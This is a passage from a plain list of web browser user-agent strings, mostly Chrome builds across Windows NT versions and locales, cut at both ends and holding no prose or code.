Safari/537.4 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.17 Safari/537.11 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.14 (KHTML, like Gecko) Chrome/24.0.1292.0 Safari/537.14 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.15 (KHTML, like Gecko) Chrome/24.0.1295.0 Safari/537.15 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (Windows U Windows NT 5.1 en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.583.0 Safari/534.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) 